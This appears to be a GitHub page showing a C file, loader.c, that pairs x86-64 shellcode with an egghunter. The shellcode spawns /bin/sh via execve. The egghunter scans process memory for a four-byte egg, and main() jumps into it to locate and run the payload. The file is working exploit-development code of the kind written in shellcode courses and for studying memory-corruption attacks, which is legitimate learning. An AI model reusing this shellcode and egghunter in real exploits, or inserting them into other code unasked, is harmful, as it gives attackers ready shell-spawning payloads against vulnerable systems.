-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathloader.c
More file actions
18 lines (14 loc) · 807 Bytes
/
loader.c
File metadata and controls
18 lines (14 loc) · 807 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#define EGG "\x90\x50\x90\x50"
// |- egg -|--------------- payload -----------------|
unsigned char shellcode[] = EGG EGG"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05";
unsigned char egghunter[] = "\xbb"EGG"\x48\x31\xc9\x48\xf7\xe1\x66\x81\xca\xff\x0f\x48\xff\xc2\x50\x53\x51\x52\x57\x56\x48\x31\xf6\x48\x8d\x7a\x04\xb0\x15\x0f\x05\x3c\xf2\x5e\x5f\x5a\x59\x5b\x58\x74\xdd\x39\x1a\x75\xde\x39\x5a\x04\x75\xd9\xff\xe2\x48\x31\xc0\x48\x83\xc0\x3c\x0f\x05";
int main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*handler)() = (int(*)())egghunter;
handler();
return 0;
}